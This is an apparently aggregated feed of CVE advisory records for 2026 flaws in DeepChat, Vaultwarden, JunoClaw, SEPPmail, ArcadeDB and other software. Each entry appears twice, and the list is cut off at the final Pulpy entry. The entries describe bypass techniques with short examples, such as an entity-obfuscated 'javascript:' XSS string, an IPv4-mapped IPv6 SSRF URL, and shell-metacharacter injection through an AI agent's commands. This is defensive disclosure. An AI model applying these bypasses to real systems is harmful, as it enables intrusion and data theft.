DeepChat is an open-source artificial intelligence agent platform that unifies models, tools, and agents. Prior to v1.0.4-beta.1, An incomplete mitigation for CVE-2025-55733 leaves DeepChat vulnerable to an arbitrary protocol execution bypass (RCE). While the patch correctly restricted api.openExternal() inside the renderer's preload/index.ts script, it structurally neglected to sanitize native Electron pop-up window handlers. An attacker or a compromised AI endpoint returning a Markdown link can trigger a target="_blank" native window interception in tabPresenter.ts, which forwards the malicious URL directly to shell.openExternal(url) and completely bypasses the isValidExternalUrl security boundary. This vulnerability is fixed in v1.0.4-beta.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### DeepChat is an open-source artificial intelligence agent platform that unifies models, tools, and agents.
https://kevwire.com/record/CVE-2026-43900
DeepChat is an open-source artificial intelligence agent platform that unifies models, tools, and agents. (May 11, 2026).
DeepChat is an open-source artificial intelligence agent platform that unifies models, tools, and agents. Prior to v1.0.4-beta.1, a Cross-Site Scripting (XSS) vulnerability exists due to a discrepancy between the backend validation layer and the frontend browser rendering engine. The SVGSanitizer (src/main/lib/svgSanitizer.ts) restricts script execution by scrubbing javascript: protocols using plain-text regular expressions. However, it fails to account for HTML entity decoding prior to Vue's v-html DOM insertion inside the SvgArtifact.vue component. By feeding an SVG artifact with obfuscated entities (e.g., j&#x61;vascript:alert(1)), an attacker can completely bypass the sanitizer, culminating in arbitrary JavaScript execution when a victim interacts with the rendered SVG Element. This vulnerability is fixed in v1.0.4-beta.1.
CVSS 9.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43900).
Sources:
NVD CVE-2026-43900: https://nvd.nist.gov/vuln/detail/CVE-2026-43900
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
DeepChat is an open-source artificial intelligence agent platform that unifies models, tools, and agents. Prior to v1.0.4-beta.1, a Cross-Site Scripting (XSS) vulnerability exists due to a discrepancy between the backend validation layer and the frontend browser rendering engine. The SVGSanitizer (src/main/lib/svgSanitizer.ts) restricts script execution by scrubbing javascript: protocols using plain-text regular expressions. However, it fails to account for HTML entity decoding prior to Vue's v-html DOM insertion inside the SvgArtifact.vue component. By feeding an SVG artifact with obfuscated entities (e.g., j&#x61;vascript:alert(1)), an attacker can completely bypass the sanitizer, culminating in arbitrary JavaScript execution when a victim interacts with the rendered SVG Element. This vulnerability is fixed in v1.0.4-beta.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vaultwarden is a Bitwarden-compatible server written in Rust.
https://kevwire.com/record/CVE-2026-43911
Vaultwarden is a Bitwarden-compatible server written in Rust. (May 11, 2026).
Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.5, refresh tokens are not invalidated when the user's security_stamp is rotated by some security-sensitive operations (password change, KDF change, key rotation, email change, org admin password reset, emergency access takeover). This allows an attacker holding a previously obtained refresh token to maintain session access even after the user has taken action to secure their account. This vulnerability is fixed in 1.35.5.
CVSS 6.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43911).
Sources:
NVD CVE-2026-43911: https://nvd.nist.gov/vuln/detail/CVE-2026-43911
Vendor advisory (via NVD references): https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-6j4w-g4jh-xjfx
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.5, refresh tokens are not invalidated when the user's security_stamp is rotated by some security-sensitive operations (password change, KDF change, key rotation, email change, org admin password reset, emergency access takeover). This allows an attacker holding a previously obtained refresh token to maintain session access even after the user has taken action to secure their account. This vulnerability is fixed in 1.35.5.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vaultwarden is a Bitwarden-compatible server written in Rust.
https://kevwire.com/record/CVE-2026-43912
Vaultwarden is a Bitwarden-compatible server written in Rust. (May 11, 2026).
Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.5, Vaultwarden does not enforce that a groups_users.users_organizations_uuid entry belongs to the same organization as groups.groups_uuid, or a collections_groups.collections_uuid entry belongs to the same organization as collections_groups.groups_uuid. Multiple organization group-management endpoints accept arbitrary MembershipId and CollectionId values and persist them directly without verifying org consistency. This lets an attacker who is Admin in Organization A, and only a low-privileged member in Organization B bind their Org B membership UUID into an Org A group, then use that foreign group relationship to gain unauthorized access to Org B vault data. With an accessAll=true Org A group, the attacker can make /api/sync and /api/ciphers enumerate Org B ciphers. Once those unauthorized sync results reveal Org B collection IDs, the attacker can also bind those foreign collection IDs to the Org A group and turn the same flaw into write access over Org B items. This vulnerability is fixed in 1.35.5.
CVSS 8.7 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43912).
Sources:
NVD CVE-2026-43912: https://nvd.nist.gov/vuln/detail/CVE-2026-43912
Vendor advisory (via NVD references): https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-569v-845w-g82p
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.5, Vaultwarden does not enforce that a groups_users.users_organizations_uuid entry belongs to the same organization as groups.groups_uuid, or a collections_groups.collections_uuid entry belongs to the same organization as collections_groups.groups_uuid. Multiple organization group-management endpoints accept arbitrary MembershipId and CollectionId values and persist them directly without verifying org consistency. This lets an attacker who is Admin in Organization A, and only a low-privileged member in Organization B bind their Org B membership UUID into an Org A group, then use that foreign group relationship to gain unauthorized access to Org B vault data. With an accessAll=true Org A group, the attacker can make /api/sync and /api/ciphers enumerate Org B ciphers. Once those unauthorized sync results reveal Org B collection IDs, the attacker can also bind those foreign collection IDs to the Org A group and turn the same flaw into write access over Org B items. This vulnerability is fixed in 1.35.5.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vaultwarden is a Bitwarden-compatible server written in Rust.
https://kevwire.com/record/CVE-2026-43913
Vaultwarden is a Bitwarden-compatible server written in Rust. (May 11, 2026).
Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.5, Vaultwarden allows an unconfirmed organization owner to purge the entire organization vault. The organization invite flow uses a two-step process: accepting an invite transitions membership from Invited to Accepted, and a separate confirmation by an existing owner upgrades it to Confirmed. The POST /api/ciphers/purge endpoint uses plain Headers and only checks that the membership type is Owner without verifying that the membership status is Confirmed. An authenticated user who has been invited as an organization owner and has accepted the invite and has not yet been confirmed can call this endpoint to hard-delete all ciphers and attachments in the organization,
causing immediate organization-wide data loss. This vulnerability is fixed in 1.35.5.
CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43913).
Sources:
NVD CVE-2026-43913: https://nvd.nist.gov/vuln/detail/CVE-2026-43913
Vendor advisory (via NVD references): https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-937x-3j8m-7w7p
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.5, Vaultwarden allows an unconfirmed organization owner to purge the entire organization vault. The organization invite flow uses a two-step process: accepting an invite transitions membership from Invited to Accepted, and a separate confirmation by an existing owner upgrades it to Confirmed. The POST /api/ciphers/purge endpoint uses plain Headers and only checks that the membership type is Owner without verifying that the membership status is Confirmed. An authenticated user who has been invited as an organization owner and has accepted the invite and has not yet been confirmed can call this endpoint to hard-delete all ciphers and attachments in the organization,
causing immediate organization-wide data loss. This vulnerability is fixed in 1.35.5.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vaultwarden is a Bitwarden-compatible server written in Rust.
https://kevwire.com/record/CVE-2026-43914
Vaultwarden is a Bitwarden-compatible server written in Rust. (May 11, 2026).
Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.4, there is a security vulnerability in Vaultwarden that allows bypassing the login brute-force protection if email 2fa is enabled. If email 2fa is enabled, the unprotected 2fa-function send_email_login (email.rs, api endpoint /api/two-factor/send-email-login) also acts as an oracle determining whether a username-password combination is correct. An attacker can abuse that endpoint to brute-force passwords without rate-limiting. This works even for users who don't have email 2fa configured. This vulnerability is fixed in 1.35.4.
CVSS 7.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43914).
Sources:
NVD CVE-2026-43914: https://nvd.nist.gov/vuln/detail/CVE-2026-43914
Vendor advisory (via NVD references): https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-c5rv-q295-7w4g
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.4, there is a security vulnerability in Vaultwarden that allows bypassing the login brute-force protection if email 2fa is enabled. If email 2fa is enabled, the unprotected 2fa-function send_email_login (email.rs, api endpoint /api/two-factor/send-email-login) also acts as an oracle determining whether a username-password combination is correct. An attacker can abuse that endpoint to brute-force passwords without rate-limiting. This works even for users who don't have email 2fa configured. This vulnerability is fixed in 1.35.4.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### pam_authnft is a PAM session module binding nftables firewall rules to authenticated sessions via cgroupv2 inodes.
https://kevwire.com/record/CVE-2026-43916
pam_authnft is a PAM session module binding nftables firewall rules to authenticated sessions via cgroupv2 inodes. (May 12, 2026).
pam_authnft is a PAM session module binding nftables firewall rules to authenticated sessions via cgroupv2 inodes. Prior to 0.2.0-alpha, a heap buffer over-read in peer_lookup_tcp (src/peer_lookup.c:134, prior to the fix) allowed a crafted NETLINK_SOCK_DIAG reply to slip past the message-size check, then dereference past the end of the allocation. This vulnerability is fixed in 0.2.0-alpha.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43916).
Sources:
NVD CVE-2026-43916: https://nvd.nist.gov/vuln/detail/CVE-2026-43916
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
pam_authnft is a PAM session module binding nftables firewall rules to authenticated sessions via cgroupv2 inodes. Prior to 0.2.0-alpha, a heap buffer over-read in peer_lookup_tcp (src/peer_lookup.c:134, prior to the fix) allowed a crafted NETLINK_SOCK_DIAG reply to slip past the message-size check, then dereference past the end of the allocation. This vulnerability is fixed in 0.2.0-alpha.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ssrfcheck is a library that checks if a string contains a potential SSRF attack.
https://kevwire.com/record/CVE-2026-43929
ssrfcheck is a library that checks if a string contains a potential SSRF attack. (May 12, 2026).
ssrfcheck is a library that checks if a string contains a potential SSRF attack. In 1.3.0 and earlier, ssrfcheck fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. http://[::ffff:127.0.0.1]/). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form ([::ffff:7f00:1]) before the library's private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input — all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address 169.254.169.254, are bypassed. Any application using isSSRFSafeURL() to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF.
CVSS 8.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43929).
Sources:
NVD CVE-2026-43929: https://nvd.nist.gov/vuln/detail/CVE-2026-43929
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
ssrfcheck is a library that checks if a string contains a potential SSRF attack. In 1.3.0 and earlier, ssrfcheck fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. http://[::ffff:127.0.0.1]/). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form ([::ffff:7f00:1]) before the library's private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input — all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address 169.254.169.254, are bypassed. Any application using isSSRFSafeURL() to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### JunoClaw is an agentic AI platform built on Juno Network.
https://kevwire.com/record/CVE-2026-43989
JunoClaw is an agentic AI platform built on Juno Network. (May 12, 2026).
JunoClaw is an agentic AI platform built on Juno Network. Prior to 0.x.y-security-1, the upload_wasm MCP tool accepted a filesystem path from the agent and uploaded whatever bytes the path resolved to, with no validation of location, symlink target, file size, or file format. This vulnerability is fixed in 0.x.y-security-1.
CVSS 8.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43989).
Sources:
NVD CVE-2026-43989: https://nvd.nist.gov/vuln/detail/CVE-2026-43989
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
JunoClaw is an agentic AI platform built on Juno Network. Prior to 0.x.y-security-1, the upload_wasm MCP tool accepted a filesystem path from the agent and uploaded whatever bytes the path resolved to, with no validation of location, symlink target, file size, or file format. This vulnerability is fixed in 0.x.y-security-1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### JunoClaw is an agentic AI platform built on Juno Network.
https://kevwire.com/record/CVE-2026-43990
JunoClaw is an agentic AI platform built on Juno Network. (May 12, 2026).
JunoClaw is an agentic AI platform built on Juno Network. Prior to 0.x.y-security-1, plugin-shell's run_command wrapped every agent-supplied command in 'sh -c' / 'cmd /C' and passed the full argument string to the shell's parser, allowing shell metacharacters in agent-supplied arguments to be interpreted as command syntax. This vulnerability is fixed in 0.x.y-security-1.
CVSS 8.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43990).
Sources:
NVD CVE-2026-43990: https://nvd.nist.gov/vuln/detail/CVE-2026-43990
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
JunoClaw is an agentic AI platform built on Juno Network. Prior to 0.x.y-security-1, plugin-shell's run_command wrapped every agent-supplied command in 'sh -c' / 'cmd /C' and passed the full argument string to the shell's parser, allowing shell metacharacters in agent-supplied arguments to be interpreted as command syntax. This vulnerability is fixed in 0.x.y-security-1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### JunoClaw is an agentic AI platform built on Juno Network.
https://kevwire.com/record/CVE-2026-43991
JunoClaw is an agentic AI platform built on Juno Network. (May 12, 2026).
JunoClaw is an agentic AI platform built on Juno Network. Prior to 0.x.y-security-1, substring-based blocklist in plugin-shell's command-safety check could be bypassed by adversarial argument constructions, allowing unauthorized command execution on the host when combined with the companion advisory. Pre-patch, the check was applied to the raw command string rather than the parsed first token. This vulnerability is fixed in 0.x.y-security-1.
CVSS 8.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43991).
Sources:
NVD CVE-2026-43991: https://nvd.nist.gov/vuln/detail/CVE-2026-43991
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
JunoClaw is an agentic AI platform built on Juno Network. Prior to 0.x.y-security-1, substring-based blocklist in plugin-shell's command-safety check could be bypassed by adversarial argument constructions, allowing unauthorized command execution on the host when combined with the companion advisory. Pre-patch, the check was applied to the raw command string rather than the parsed first token. This vulnerability is fixed in 0.x.y-security-1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### JunoClaw is an agentic AI platform built on Juno Network.
https://kevwire.com/record/CVE-2026-43992
JunoClaw is an agentic AI platform built on Juno Network. (May 12, 2026).
JunoClaw is an agentic AI platform built on Juno Network. Prior to 0.x.y-security-1, every MCP write tool (send_tokens, execute_contract, instantiate_contract, upload_wasm, ibc_transfer, etc.) accepted 'mnemonic: string' as an explicit tool-call parameter. The BIP-39 seed was consequently embedded in the LLM tool-call JSON, exposing it to any transport, log, or telemetry surface in the path between the LLM provider and the MCP process. This vulnerability is fixed in 0.x.y-security-1.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43992).
Sources:
NVD CVE-2026-43992: https://nvd.nist.gov/vuln/detail/CVE-2026-43992
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
JunoClaw is an agentic AI platform built on Juno Network. Prior to 0.x.y-security-1, every MCP write tool (send_tokens, execute_contract, instantiate_contract, upload_wasm, ibc_transfer, etc.) accepted 'mnemonic: string' as an explicit tool-call parameter. The BIP-39 seed was consequently embedded in the LLM tool-call JSON, exposing it to any transport, log, or telemetry surface in the path between the LLM provider and the MCP process. This vulnerability is fixed in 0.x.y-security-1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### JunoClaw is an agentic AI platform built on Juno Network.
https://kevwire.com/record/CVE-2026-43993
JunoClaw is an agentic AI platform built on Juno Network. (May 12, 2026).
JunoClaw is an agentic AI platform built on Juno Network. Prior to 0.x.y-security-1, the WAVS bridge's computeDataVerify called fetch() on agent-supplied URLs without validating scheme, port, or resolved IP, resulting in an SSRF vulnerability. This vulnerability is fixed in 0.x.y-security-1.
CVSS 8.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43993).
Sources:
NVD CVE-2026-43993: https://nvd.nist.gov/vuln/detail/CVE-2026-43993
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
JunoClaw is an agentic AI platform built on Juno Network. Prior to 0.x.y-security-1, the WAVS bridge's computeDataVerify called fetch() on agent-supplied URLs without validating scheme, port, or resolved IP, resulting in an SSRF vulnerability. This vulnerability is fixed in 0.x.y-security-1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Flowise is a drag & drop user interface to build a customized large language model flow.
https://kevwire.com/record/CVE-2026-43995
Flowise is a drag & drop user interface to build a customized large language model flow. (May 11, 2026).
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, multiple tool implementations directly import and invoke raw HTTP clients (node-fetch, axios) instead of using the secured wrapper. These tools include (1) OpenAPIToolkit/OpenAPIToolkit.ts, (2) WebScraperTool/WebScraperTool.ts, (3) MCP/core.ts, and (4) Arxiv/core.ts. This vulnerability is fixed in 3.1.0.
CVSS 5.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43995).
Sources:
NVD CVE-2026-43995: https://nvd.nist.gov/vuln/detail/CVE-2026-43995
Vendor advisory (via NVD references): https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-qqvm-66q4-vf5c
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, multiple tool implementations directly import and invoke raw HTTP clients (node-fetch, axios) instead of using the secured wrapper. These tools include (1) OpenAPIToolkit/OpenAPIToolkit.ts, (2) WebScraperTool/WebScraperTool.ts, (3) MCP/core.ts, and (4) Arxiv/core.ts. This vulnerability is fixed in 3.1.0.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SEPPmail Secure Email Gateway before version 15.0.2.1 allows unauthenticated remote code execution in the new GINA UI because an endpoint passes attacker-controlled input from a...
https://kevwire.com/record/CVE-2026-44128
SEPPmail Secure Email Gateway before version 15.0.2.1 allows unauthenticated remote code execution in the new GINA UI because an endpoint passes attacker-controlled input from a... (May 8, 2026).
SEPPmail Secure Email Gateway before version 15.0.2.1 allows unauthenticated remote code execution in the new GINA UI because an endpoint passes attacker-controlled input from a parameter to Perl's eval.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44128).
Sources:
NVD CVE-2026-44128: https://nvd.nist.gov/vuln/detail/CVE-2026-44128
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
SEPPmail Secure Email Gateway before version 15.0.2.1 allows unauthenticated remote code execution in the new GINA UI because an endpoint passes attacker-controlled input from a parameter to Perl's eval.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SEPPmail Secure Email Gateway before version 15.0.4 contains a server-side template injection vulnerability in the new GINA UI because an endpoint accepts attacker-controlled...
https://kevwire.com/record/CVE-2026-44129
SEPPmail Secure Email Gateway before version 15.0.4 contains a server-side template injection vulnerability in the new GINA UI because an endpoint accepts attacker-controlled... (May 8, 2026).
SEPPmail Secure Email Gateway before version 15.0.4 contains a server-side template injection vulnerability in the new GINA UI because an endpoint accepts attacker-controlled template, allowing remote attackers to execute arbitrary template expressions and potentially achieve remote code execution depending on the enabled template plugins.
CVSS 8.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44129).
Sources:
NVD CVE-2026-44129: https://nvd.nist.gov/vuln/detail/CVE-2026-44129
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
SEPPmail Secure Email Gateway before version 15.0.4 contains a server-side template injection vulnerability in the new GINA UI because an endpoint accepts attacker-controlled template, allowing remote attackers to execute arbitrary template expressions and potentially achieve remote code execution depending on the enabled template plugins.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pingvin Share X is a secure and easy self-hosted file sharing platform.
https://kevwire.com/record/CVE-2026-44196
Pingvin Share X is a secure and easy self-hosted file sharing platform. (May 12, 2026).
Pingvin Share X is a secure and easy self-hosted file sharing platform. From 1.14.1 to 1.16.2, a critical authentication bypass vulnerability allows an attacker who has obtained a valid username and password to skip the second-factor authentication (TOTP) requirement entirely. Although, an attacker still needs the user's password to reach this stage. This vulnerability is fixed in 1.16.3.
CVSS 9.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44196).
Sources:
NVD CVE-2026-44196: https://nvd.nist.gov/vuln/detail/CVE-2026-44196
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Pingvin Share X is a secure and easy self-hosted file sharing platform. From 1.14.1 to 1.16.2, a critical authentication bypass vulnerability allows an attacker who has obtained a valid username and password to skip the second-factor authentication (TOTP) requirement entirely. Although, an attacker still needs the user's password to reach this stage. This vulnerability is fixed in 1.16.3.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NanaZip is an open source file archive.
https://kevwire.com/record/CVE-2026-44215
NanaZip is an open source file archive. (May 12, 2026).
NanaZip is an open source file archive. From 5.0.1252.0 to before 6.0.1698.0, a one-byte heap out-of-bounds null write exists in the UFS/UFS2 filesystem image parser in NanaZip. The vulnerability is triggered when opening a crafted UFS filesystem image. The attacker controls the byte offset of the write within a ~254-byte window past the heap allocation boundary. This vulnerability is fixed in 6.0.1698.0.
CVSS 4.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44215).
Sources:
NVD CVE-2026-44215: https://nvd.nist.gov/vuln/detail/CVE-2026-44215
Vendor advisory (via NVD references): https://github.com/M2Team/NanaZip/security/advisories/GHSA-44wh-7gc3-w936
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NanaZip is an open source file archive. From 5.0.1252.0 to before 6.0.1698.0, a one-byte heap out-of-bounds null write exists in the UFS/UFS2 filesystem image parser in NanaZip. The vulnerability is triggered when opening a crafted UFS filesystem image. The attacker controls the byte offset of the write within a ~254-byte window past the heap allocation boundary. This vulnerability is fixed in 6.0.1698.0.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ArcadeDB is a Multi-Model DBMS.
https://kevwire.com/record/CVE-2026-44221
ArcadeDB is a Multi-Model DBMS. (May 12, 2026).
ArcadeDB is a Multi-Model DBMS. Starting in version 21.10.1 and prior to version 26.4.2, authenticated users and API tokens scoped to a specific database could read, write, and mutate schema on any other database on the same server. Two distinct defects contributed: (1) ServerSecurityUser.getDatabaseUser() returned a DB user with an uninitialized fileAccessMap, which requestAccessOnFile treated as allow-all; (2) ArcadeDBServer.createDatabase() omitted factory.setSecurity(...) so any database created via POST /api/v1/server {"command":"create database X"} had its entire record-level authorization system silently disabled. In combination, record-level and database-level authorization could be bypassed by any authenticated principal. This vulnerability is fixed in 26.4.2.
CVSS 9.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44221).
Sources:
NVD CVE-2026-44221: https://nvd.nist.gov/vuln/detail/CVE-2026-44221
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
ArcadeDB is a Multi-Model DBMS. Starting in version 21.10.1 and prior to version 26.4.2, authenticated users and API tokens scoped to a specific database could read, write, and mutate schema on any other database on the same server. Two distinct defects contributed: (1) ServerSecurityUser.getDatabaseUser() returned a DB user with an uninitialized fileAccessMap, which requestAccessOnFile treated as allow-all; (2) ArcadeDBServer.createDatabase() omitted factory.setSecurity(...) so any database created via POST /api/v1/server {"command":"create database X"} had its entire record-level authorization system silently disabled. In combination, record-level and database-level authorization could be bypassed by any authenticated principal. This vulnerability is fixed in 26.4.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pulpy is a lightweight, cross-platform desktop application packager for web apps.
https://kevwire.com/record/CVE-2026-44225
Pulpy is a lightweight, cross-platform desktop application packager for web apps. (May 12, 2026).
